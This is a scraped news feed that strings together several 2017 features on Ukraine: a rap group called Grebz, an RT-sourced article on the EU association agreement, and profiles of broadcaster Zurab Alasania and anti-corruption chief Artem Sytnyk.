Raised in the decaying industrial heartland of eastern Ukraine, Bardash is well acquainted with the wayward lives led by countless youngsters in the country’s far-flung regions. Anyone familiar with the stark reality faced by countries like Ukraine and Russia since the Soviet Union’s collapse will recognize what Grebz are going for. They’re the “boys from the block” — the massive underclass caught in the socioeconomic distress of a stalled transition from post-communism to something better. So while their style borrows heavily from American hip-hop, it’s distinctly post-Soviet.

Observers say Bardash has purposefully harnessed the power of that archetype, knowing it appeals to people with direct memories of that time as well as those drawn to a bygone, almost mythical past they’re too young to remember. “He’s the same simple guy he always was — in the way he talks, his behavior, his style, in everything,” says Mikhail Yasinsky, a prominent manager who knows Bardash personally. “He always tries to stay close to ordinary people to understand their feelings, tastes and attitudes.”

Grebz2

That, Yasinsky adds, is an elemental part of the group’s success. Ukraine’s music industry is stocked with deep-pocketed stars who pay to promote themselves, manufacturing demand and flooding the market with a mediocre product. But Bardash and Grebz have answered a call for fresh, thrilling pop that fans can relate to — which no doubt explains why they’ve amassed followings across multiple Russian-speaking countries, from Ukraine to Kazakhstan. The fact that they play sold-out shows throughout Russia is particularly impressive, given the ongoing conflict between Moscow and Kiev, which has otherwise cratered relations between the two.

Not everyone approves of the Grebz phenomenon, though. Panasov, music critic and chief editor of Karabas Live, an online music journal, believes the group’s exploitation of social turmoil is damaging. With much of Ukraine still mired in the postindustrial depression that keeps many impoverished and hopeless, “it just amplifies the disenfranchisement they’ve been living in for decades,” he says. “It says to them, ‘Relax, this is your life — just live it, because that’s just the way the world works.’”

The group’s future plans are, not surprisingly, unknown. At a recent concert in Odessa, Ukraine, Bardash told a stunned audience that Grebz would stop playing shows after December. In typical Grebz fashion, no further details were provided. It’s a mystery, one their fans hope will be resolved by year’s end, or not.

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]]> https://briefnews.eu/meet-ukraines-absurd-new-rap-sensation/feed/ 0 Ukraine's association deal bittersweet with no real hope for EU integration https://briefnews.eu/ukraines-association-deal-bittersweet-with-no-real-hope-for-eu-integration/ https://briefnews.eu/ukraines-association-deal-bittersweet-with-no-real-hope-for-eu-integration/#respond Fri, 01 Sep 2017 14:39:16 +0000 http://briefnews.eu/ukraines-association-deal-bittersweet-with-no-real-hope-for-eu-integration/ Friday marks the day when the association agreement between Ukraine and the European Union officially comes into force. With many regulations already in place, and other changes coming, RT tried to find out whether Kiev can hope for real integration with Europe.

Read more

© Valentyn Ogirenko

The political part of the agreement has been around since September 1, 2014, and the economic part de-facto worked from January 2016. However, it took a while before the agreement was adopted in the EU.

After Brussels assured the Netherlands the deal wouldn’t give Ukraine automatic membership of the EU, and that Kiev will not be able to receive funding from the EU and will not become a part of its defense programs, the agreement was eventually given the green light. The temporary status now becomes permanent.

“The agreement on the association of Ukraine with the EU is a package of 486 articles, 311 of which regulate trade and issues related to trade,” explains Evsey Vasilyev, Deputy Director General at an independent Russian political consultancy Strategic Communications.

“In fact, we are talking about an expanded free trade zone. The EU has the same deal with thirty other states around the world, including Latin America, North Africa, the Middle East, as well as Albania, Kosovo, South Africa and South Korea,” he added.

Of course, each agreement is different from the others, Vasilyev adds, but in the case of Ukraine, from the very beginning “the Ukrainian leadership described it as a stepping stone to EU membership.”

“Let’s not forget Turkey, which signed the association agreement with the EU predecessor, the European Economic Community, back in 1963 and is still not an EU member,” Vasilyev said.

The European Commission President Jean-Claude Juncker also made it clear on Tuesday that Ukraine is neither in NATO nor the EU.

“A few days ago I saw that my friend Poroshenko said that Ukraine is the European Union, and it is NATO. At the moment, it’s neither one nor the other, and I think we do need to bear this in mind,” Juncker said at a conference of EU ambassadors in Brussels.

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An employee works at the Ukrainian Roshen confectionery factory, owned by President Petro Poroshenko © Gleb Garanich

As the result of the agreement with the EU, Ukraine has seen a significant drop in trade with Russia. In 2016, Ukrainian exports to the European Union grew by only three percent, and mutual trade grew by six percent. However, during the same period, according to Ukrainian statistics, exports to Russia plummeted by 25.6 percent compared to the previous year.

According to Irina Klimenko from the New Ukraine Institute for Strategic Studies, Russia had about 40 percent in Ukrainian trade, while Europe had only 30 percent at best.

“In addition, some enterprises were focused exclusively on Russian markets. Therefore, for some enterprises the loss of Russian exports is a very big problem,” she added.

“The countries of the European Union protect the domestic market and are not eager to strengthen competition by giving access to Ukrainian companies,” an executive of a major Ukrainian agriculture company told RT, asking to remain anonymous.

Thus, Ukraine is allowed to supply without duty only an additional 3,000 tons of honey, 500 tons of wine, 650,000 tons of corn and corn flour, 7,800 tons of barley and flour, 4,000 tons of oats, etc. This would give only $ 200 million of additional profit to Ukrainian farmers.

“Politicians in Kiev were too busy in pursuit of political dividends. They didn’t analyze the documents carefully, neither did they have any negotiations with Brussels. As a result, Ukraine ratified the agreement almost in the same version proposed by the EU at the very beginning,” says Vasilyev.

“Branches of foreign companies in Ukraine, unlike local firms, will receive guaranteed international legal support, and any economic disputes in EU courts will automatically be resolved in favor of the Europeans. This firmly consolidates the priority of European law over Ukrainian legislation,” the expert concludes.

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]]> https://briefnews.eu/ukraines-association-deal-bittersweet-with-no-real-hope-for-eu-integration/feed/ 0 The Maverick Media Mogul Taking On Ukraine's Corrupt System https://briefnews.eu/the-maverick-media-mogul-taking-on-ukraines-corrupt-system/ https://briefnews.eu/the-maverick-media-mogul-taking-on-ukraines-corrupt-system/#respond Wed, 21 Jun 2017 04:52:24 +0000 http://briefnews.eu/the-maverick-media-mogul-taking-on-ukraines-corrupt-system/ For someone tasked with breathing life into Ukrainian public broadcasting, Zurab Alasania has a peculiar view of service-oriented journalism. “It’s like broccoli,” the sturdy, ethnic Georgian says over coffee. “It may not taste good, but it’s nutritious.”

Then again, not much about Alasania, 52, is what you’d call ordinary. Tapped in April to lead the fledgling Public Broadcasting Company of Ukraine (UA:PBC), he has built a reputation as an outspoken, fiercely independent media manager in a country trying to shake off its corrupt and authoritarian past. That he’s also an avid biker — who arrived for the interview in Kiev’s leafy center dressed in black astride a massive cruiser motorcycle — reinforces Alasania’s image as an outlier.

But he may be exactly what’s needed to turn a stodgy, bloated state broadcaster into an efficient, hard-hitting journalism machine. In the years since the 2014 Maidan revolution ousted a corrupt, pro-Russian government, the country’s leaders have come under increasing criticism for failing to produce enough meaningful reforms. Ukraine ranks a disheartening 131 out of 176 countries in Transparency International’s most recent Corruption Perceptions Index. While free speech is more prevalent here than in many other ex-Soviet countries, it’s far from a model for high-quality, independent journalism.

Zurab Alasania

What’s more, much of Ukraine’s media landscape is dominated by shadowy, politically connected oligarchs. “Major media in this country are no longer part of the advertising and subscription cycles, but have become part of the political corruption cycle,” says Yevhen Hlibovytsky, a Ukrainian media expert and a friend of Alasania’s.

Alasania faces an uphill battle in turning UA:PBC into a fully professional outlet with the news sense of the BBC or the in-depth documentary know-how of PBS. Both local and European officials see the launch of the broadcaster as a bellwether for broader reform in Ukraine, which could get a boost from Alasania’s straight-shooting approach. “Some people are sitting out there in the East, manning the defenses,” Alasania says, referring to Ukraine’s ongoing war with Russian-backed separatists. “Here, someone has to take this particular responsibility into their hands.”

If Alasania stumbles, he risks discrediting the entire idea of public television.

Born in Soviet Georgia in the mid-1960s, Alasania moved from the Black Sea port of Sukhumi to the eastern Ukrainian city of Kharkiv to attend university. The engineering student graduated two years before the Soviet Union collapsed in 1991, and, like many of his peers, was thrust into a new socioeconomic reality overnight. He hopped from one job to the next, including olive-packing and construction in Greece, to make ends meet.

Those early years shaped him into something of a fighter — a notion made literal during his stint in the French Foreign Legion. The experience, he says, helped to impart a rigid management style for which he’s become known: “You always had someone telling you exactly what to do. You didn’t think; you just fulfilled your duty.” Shortly after returning to Kharkiv in 1996, he fell into journalism by chance, working for local TV stations before launching a successful news agency in 2006. Later, he helped establish an online television network based in Kiev that’s become one of the country’s leading sources of unbiased news.

Alasania joined UA:PBC shortly before it was first cobbled together from the remnants of the country’s main state-run broadcaster, the National Television Company of Ukraine, in 2015. But he quit in a fury last November after the government ordered his agency to foot a $ 17 million bill for the annual Eurovision Song Contest, which took place in Kiev in May at more than double the original cost. UA:PBC was officially registered in January, and civic activists rejoiced at Alasania’s return after he was elected by the company’s supervisory board in April.

His first order of business? Streamlining production by modernizing the company’s outdated technology and, by default, eliminating roughly half of the 7,000 in staff. Then comes the hard part: training UA:PBC’s journalists to chase original, meaningful stories across a country of 45 million people that go beyond the political scandals in Kiev. “They should be digging around the regions, seeing what local judges and prosecutors are up to,” he says.

Zurab Alasania

Hlibovytsky believes Alasania can shake up a stagnant institution and turn it into a competitive player in Ukraine’s media market. But it won’t happen without controversy. “At a certain point, you understand that you’re dealing with someone who is not afraid of things that other people are afraid of,” he says, referring to Alasania’s determination to disrupt the old system.

Others believe his management style is bound to invite trouble, especially in a country beholden to bureaucracy and where ambitious outsiders like Alasania face enormous resistance in trying to change the rules. “I’d like for public television to be led not only by enthusiasts, but by good managers,” says Vadim Karasyov, a Kiev-based political analyst. Whether the dogged media manager can succeed in his new post remains to be seen. Karasyov adds that if Alasania stumbles, he risks discrediting the entire idea of public television.

Harder still will be convincing Ukrainians that watching public service television is worthwhile. Viewers are long accustomed to what Alasania calls low-quality content from the state broadcaster: dull, uncritical coverage of official press conferences and cheesy pop concerts. By contrast, most of the country’s top TV channels boast sleek productions and flashy stories that keep audiences entertained, but not always politically well-informed.

The political stories that generate headlines often serve the interests of the station owners, who control various influence groups in Parliament that vote on legislation affecting their business. As Alasania brings his take-no-prisoners approach to such an entrenched system, he’ll need to arm himself with more than just broccoli.

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]]> https://briefnews.eu/the-maverick-media-mogul-taking-on-ukraines-corrupt-system/feed/ 0 The Man Taking on Ukraine's Most Powerful Politicians https://briefnews.eu/the-man-taking-on-ukraines-most-powerful-politicians/ https://briefnews.eu/the-man-taking-on-ukraines-most-powerful-politicians/#respond Mon, 17 Apr 2017 10:07:27 +0000 http://briefnews.eu/the-man-taking-on-ukraines-most-powerful-politicians/ In a large building in a quiet neighborhood of Kyiv, Ukraine’s capital, young people stand in line to pass through metal detectors. Mostly in their twenties and early thirties, the Ukrainians entering the highly secured yet largely nondescript building are charged with a sensitive task: unmasking high-level government corruption.

Artem Sytnyk, 37, heads Ukraine’s National Anti-Corruption Bureau, known as NABU, leading its team of young investigators as they attempt to root out corruption among top-level officials — ministers, military officers, even judges. Talking in his sparsely furnished office, Sytnyk is understated, giving the impression of a man who does not like chatting about himself. He takes his task seriously — this, after all, is a country where politicians curry favor by controlling major television stations. And Sytnyk is an outsider to politics. Even as he proves himself, he bears the hopes of a generation wanting something better out of its public servants.

Artem Sytnyk

Sytnyk’s rise to his current office is wrapped up in his country’s history. Born in a village with a population of less than 5,000, Sytnyk worked his way up after law school, starting his career as an assistant district public prosecutor in Kirovohrad, his native region. But merely three years after he was promoted to a post in the investigation department of the Kyiv region’s prosecutor’s office — a dream job — he quit. The nation’s leader was, at the time, Viktor Yanukovych, a pro-Russian, highly corrupt politician who, together with his allies, stole millions from Ukrainian taxpayers. Yanukovych’s countryside palace, complete with a helicopter landing pad, car collection and even a private zoo, has since become a symbol of an era where politicians saw themselves as above the law. “There was no rule of law under Yanukovych, so I decided to leave,” Sytnyk recalls.

But in late 2013, mass protests broke out against Yanukovych’s regime: Hundreds of thousands of Ukrainians took to the streets when the Yanukovych government rejected an association agreement with the European Union — a deal that would have brought Ukraine one step closer to the West and ultimately joining the European bloc. The demonstrations quickly turned into a massive anticorruption, pro-Western movement that toppled the government by early 2014. Yanukovych fled the country, and Ukraine’s new leaders, presenting themselves as pro-Western, anti-corruption reformers, promised to transform the country.

Going after ‘big fish’ sends a signal to society.

—Daria Kaleniuk, executive director of the Anticorruption Action Centre

Three years later, many Ukrainians are disappointed. Ukraine’s postrevolution president, Petro Poroshenko, is an oligarch who owns a media empire and a large candy business. Amid this all stands Sytnyk’s NABU, set up in 2015 in part thanks to pressure from the United States, European Union and International Monetary Fund to have an independent group of investigators tackle Ukraine’s vast corruption networks. And NABU, so far, really has been clean, says Daria Kaleniuk, executive director of the Kyiv-based Anticorruption Action Centre. She tells OZY “appointments were not because someone paid a bribe or parents negotiated a place — there was real competition” for the jobs. Sytnyk himself was chosen after being grilled by domestic and foreign experts, including the head of the European Anti-Fraud Office.

So far, Sytnyk is doing his job “very honestly,” says Artem Myrgorodskyi, head of the Secretariat of the Reanimation Package of Reforms, a coalition of 73 Ukrainian nongovernmental organizations. Sytnyk has investigated 319 corruption cases, unearthing damage to the Ukrainian state estimated at over three billion dollars. Sytnyk’s work has led, among other things, to the suspension of the chairman of the Central Election Commission of Ukraine and the arrest of individuals such as the former head of the State Food and Grain Corporation.

“Going after ‘big fish’ sends a signal to society,” says Kaleniuk, referring to high-profile government allies who previously saw themselves as above the law. Sytnyk doesn’t like the term big fish, but he’s certainly caught some. In early March, Roman Nasirov, the head of the State Fiscal Service of Ukraine (the equivalent of the American IRS) was arrested. NABU’s investigations have even indirectly impacted American politics: In August, Sytnyk confirmed that the name of Paul Manafort, a former Trump campaign manager, appeared on a secret ledger kept by associates of former President Yanukovych.

Artem Sytnyk

Of course, change takes a long time, and Transparency International still puts Ukraine as number 131 out of 176 countries in its corruption ranking. Sytnyk himself is dissatisfied. “The justice system is still corrupt.” NABU has 57 cases in court, but with the exception of five plea agreements, no one has been convicted. Sytnyk and others want to create a special anticorruption court — a real possibility, says Kaleniuk.

Sytnyk’s activities are not universally popular. “Sytnyk is under the influence of some members of parliament,” asserts Volodymyr Ariev, a member of Ukraine’s parliament, the Verkhovna Rada, representing Petro Poroshenko Bloc. “He is not very independent.” He believes Sytnyk is under the influence of a group of members of parliament who earlier served as civil society activists and went into politics after the revolution. Ariev added that Sytnyk’s team — who are indeed mostly twenty- and thirtysomethings — lack experience. (“Being young is not a vice,” Sytnyk quips at one point.)

Tensions between NABU and unreformed government institutions often play out behind the scenes, as when government offices refuse to fully cooperate with NABU, but at times they take a dramatic, public turn. In August, the General Prosecutor’s Office — a largely unreformed government body — conducted a raid on the NABU office, using a warrant from an allegedly corrupt court and claiming that NABU is suspected of illegal wiretapping. Their search did not turn up any incriminating evidence.

When asked if he foresees relations with the prosecutor’s office improving, he laughs wryly. “Impossible,” he says. But no shortage of the Ukrainian public stands behind him.

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